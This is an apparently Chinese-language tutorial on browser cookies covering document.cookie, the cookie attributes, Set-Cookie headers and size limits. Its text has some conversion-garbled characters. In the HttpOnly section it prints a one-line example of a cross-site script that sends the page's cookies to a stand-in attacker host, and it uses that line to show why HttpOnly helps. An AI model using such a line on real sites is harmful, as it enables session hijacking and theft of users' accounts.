BOM 瀏覽器對象模型_不超過 4 KB 的 document.cookie 對象

注意： 客戶端儲存應該使用 Web storage API 和 IndexedDB，不推薦使用 Cookie

document.cookie 對象

是服務器保存在瀏覽器的一小段文本信息

用於讀寫當前網頁的 Cookie。

讀取的時候，它會返回當前網頁的全部 Cookie，前提是該 Cookie 不能有 HTTPOnly 屬性。

• var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { console.log(cookies[i]); } // foo=bar // baz=bar

• 爲當前網站添加 Cookie，一次只能寫一個    （屬性值的等號兩邊不能有空格）

• document.cookie = 'fontSize=14';
  document.cookie = 'test1=hello';
  document.cookie = 'test2=world';
  document.cookie // fontSize=14;test1=hello;test2=world
  
  // 同時寫入屬性
  document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
  

  document.cookie = 'fontSize=14; ' +
        'expires=' + someDate.toGMTString() + '; ' +
        'path=/subdirectory; ' +
        'domain=*.example.com';

  // 屬性一旦設置完成，就沒有辦法讀取這些屬性的值

• 刪除一個現存 Cookie 的惟一方法，是設置它的 expires 屬性爲一個過去的日期

Cookie 的屬性

• Cookie 的名字
• Cookie 的值（真正的數據寫在這裏面）

若是 Set-Cookie 字段沒有指定 Expires 或 Max-Age 屬性，那麼這個 Cookie 就是 Session Cookie，

即它只在本次對話存在，一旦用戶關閉瀏覽器，瀏覽器就不會再保留這個 Cookie

• Max-Age    指定從如今開始 Cookie 存在的秒數

好比60 * 60 * 24 * 365（即一年）。

過了這個時間之後，瀏覽器就再也不保留這個 Cookie

若是同時指定了 Expires 和 Max-Age，那麼 Max-Age 的值將優先生效

• Expires    到期時間 

到了指定時間之後，瀏覽器就再也不保留這個 Cookie

它的值是 UTC 格式，可使用 Date.prototype.toUTCString() 進行格式轉換

若是不設置該屬性，或者設爲 null，Cookie 只在當前會話（session）有效

瀏覽器窗口一旦關閉，當前 Session 結束，該 Cookie 就會被刪除。

另外，瀏覽器根據本地時間，決定 Cookie 是否過時，

因爲本地時間是不精確的，因此沒有辦法保證 Cookie 必定會在服務器指定的時間過時

• Domain    所屬域名（默認是當前域名）    必須是當前發送 Cookie 的域名的一部分

指定瀏覽器發出 HTTP 請求時，哪些域名要附帶這個 Cookie。

若是沒有指定該屬性，瀏覽器會默認將其設爲當前域名，這時子域名將不會附帶這個 Cookie。

好比，example.com不設置 Cookie 的 domain 屬性，那麼 sub.example.com 將不會附帶這個 Cookie

若是指定了 domain 屬性，那麼子域名也會附帶這個 Cookie。

若是服務器指定的域名不屬於當前域名，瀏覽器會拒絕這個 Cookie

• Path    生效的路徑（默認是當前網址）    必須爲絕對路徑

指定瀏覽器發出 HTTP 請求時，哪些路徑要附帶這個 Cookie。

只要瀏覽器發現，Path 屬性是 HTTP 請求路徑的開頭一部分，就會在頭信息裏面帶上這個 Cookie

好比，PATH屬性是/，那麼請求/docs路徑也會包含該 Cookie。固然，前提是域名必須一致

• Secure    表現當前網頁的協議是 htpp 仍是 https 加密

當前協議是 HTTP，瀏覽器會自動忽略服務器發來的 Secure 屬性。

該屬性只是一個開關，不須要指定值。若是通訊是 HTTPS 協議，該開關自動打開

• HttpOnly    指定不讓 JavaScript 讀取到 Cookie

• (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

  上面是跨站點載入的一個惡意腳本的代碼，可以將當前網頁的 Cookie 發往第三方服務器。

• 若是設置了一個 Cookie 的 HttpOnly 屬性，上面代碼就不會讀到該 Cookie

每一個 Cookie 容量很小，通常不能超過 4KB

瀏覽器每次向服務器發出請求，就會自動附上這段信息

• 舉例來講，用戶訪問網址 www.example.com

服務器在瀏覽器寫入一個 Cookie

這個 Cookie 就會包含 www.example.com 這個域名，以及根路徑 /

這意味着，這個 Cookie 對該域名的根路徑和它的全部子路徑都有效。

之後，瀏覽器一旦訪問這個路徑，瀏覽器就會附上這段 Cookie 發送給服務器

• 主要用途：
• 分辨兩個請求是否來自同一個瀏覽器
• 用來保存一些狀態信息
• 經常使用場合
• 對話（session）管理            保存登陸、購物車等須要記錄的信息
• 個性化            保存用戶的偏好，好比網頁的字體大小、背景色等等
• 追蹤            記錄和分析用戶行爲
• 瀏覽器能夠設置不接受 Cookie，也能夠設置不向服務器發送 Cookie

• window.navigator.cookieEnabled    // 瀏覽器是否打開 Cookie 功能

• 不一樣瀏覽器對 Cookie 數量和大小的限制，是不同的

通常來講，單個域名設置的 Cookie 不該超過30個

每一個 Cookie 的大小不能超過 4KB

超過限制之後，Cookie 將被忽略，不會被設置

• 瀏覽器的同源政策規定，兩個網址只要域名相同和端口相同，就能夠共享 Cookie（參見《同源政策》一章）。

注意，這裏不要求協議相同。

也就是說，http://example.com 設置的 Cookie，能夠被 https://example.com 讀取

Cookie 由 HTTP 協議生成，也主要是供 HTTP 協議使用

服務器若是但願在瀏覽器保存 Cookie，就要在 HTTP 響應的頭信息裏面，放置一個 Set-Cookie 字段

• Set-Cookie: foo=bar
• 會在瀏覽器保存一個名爲 foo 的 Cookie，它的值爲 bar
• HTTP 響應的頭信息    能夠包含多個 Set-Cookie 字段，即在瀏覽器生成多個 Cookie

• HTTP/1.0 200 OK
  Content-type: text/html
  Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]

• HTTP 響應的頭信息    除了能夠 Cookie 的值，Set-Cookie 字段還能夠附加 Cookie 的屬性

• Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> Set-Cookie: <cookie-name>=<cookie-value>; Secure Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

• Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

若是服務器想改變一個早先設置的 Cookie 值，必須同時知足四個條件

Cookie 的key、domain、path和secure都匹配

原始 Cookie： Set-Cookie: key1=value1; domain=example.com; path=/blog

更改 Cookie： Set-Cookie: key1=value2; domain=example.com; path=/blog

瀏覽器向服務器發送 HTTP 請求時，每一個請求都會帶上相應的 Cookie

即 把服務器早前保存在瀏覽器的這段信息，再發回服務器。這時要使用 HTTP 頭信息的Cookie字段

• GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服務器收到瀏覽器發來的 Cookie 時，有兩點是沒法知道的

Cookie 的各類屬性，好比什麼時候過時

哪一個域名設置的 Cookie，究竟是一級域名設的，仍是某一個二級域名設的